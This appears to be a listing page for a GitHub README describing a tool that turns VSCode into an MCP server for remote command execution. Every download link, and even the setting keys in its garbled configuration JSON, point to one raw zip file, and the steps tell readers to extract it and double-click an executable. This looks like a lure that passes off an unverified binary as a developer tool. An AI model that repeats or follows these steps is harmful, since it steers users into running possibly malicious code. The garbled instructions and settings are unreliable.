vscode-internal-command-mcp-server

antonio0218/vscode-internal-command-mcp-server

3.2

If you are the rightful owner of vscode-internal-command-mcp-server and would like to certify it and/or have it hosted online, please leave a comment on the right or send an email to henry@mcphub.com.

The vscode-internal-command-mcp-server transforms Visual Studio Code into a Model Context Protocol (MCP) server, enabling remote execution of VSCode commands.

🚀 vscode-internal-command-mcp-server - Turn VSCode Into an MCP Server

🚀 Getting Started

This guide helps you download and run the vscode-internal-command-mcp-server. This application allows you to use Visual Studio Code (VSCode) as a Model Context Protocol (MCP) server. You can run VSCode commands from external clients easily.

📦 Download & Install

To get started, visit this page to download the latest release: Download Page.

Once you have accessed the download page, follow these steps:

1. Choose a Release

  • Look for the most recent version.
  • Download the suitable file for your operating system. This may be a .zip, https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip, or another format.

2. Extract the Files

  • Locate the downloaded file on your computer.
  • Extract the contents to a folder of your choice.

3. Run the Application

  • Open the extracted folder.
  • Double-click the executable file to run the application.

⚙️ Configuration

You may need to configure certain settings in VSCode. Follow these steps to set up the server parameters effectively:

  1. Open VSCode and navigate to the settings.

  2. Search for "vscode-internal-command-mcp-server".

  3. Adjust the following settings as needed:

{
    "https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip": 8080,
    "https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip": ["command1", "command2"]
}

Key Settings

  • Port: Set the port number where the server will listen. The default is 8080.

  • Command Whitelist: Specify the commands you want to allow for remote execution.

🔧 Features

The vscode-internal-command-mcp-server provides several features:

  • HTTP Streaming Support: Enables real-time communication through text/event-stream.

  • Execute VSCode Commands Remotely: Run any internal VSCode command from external clients.

  • Workspace Information Queries: Retrieve information about the current workspace and files.

  • Asynchronous Execution: Run commands in the background without freezing the user interface.

  • Configurable Delays: Set delays for command execution as needed.

  • Security Controls: Supports a command whitelist mechanism for added security.

  • Real-Time Status Monitoring: Display server status in the VSCode status bar.

  • MCP Protocol Compliance: Fully compatible with the Model Context Protocol standards.

  • High Performance: Built on the FastMCP framework, it supports concurrent requests.

  • Health Check Endpoints: Built-in endpoints to monitor server health.

📋 System Requirements

Before installation, ensure your system meets the following requirements:

💡 Troubleshooting

In case you face issues:

  • Ensure that your firewall allows traffic on the specified port.
  • Check for any dependency issues and remedy them by following the instructions in the terminal or command prompt.

📄 License

This project is licensed under the MIT License. You can modify it according to your needs, but please provide attribution to the original source.

For additional resources, visit: Download Page.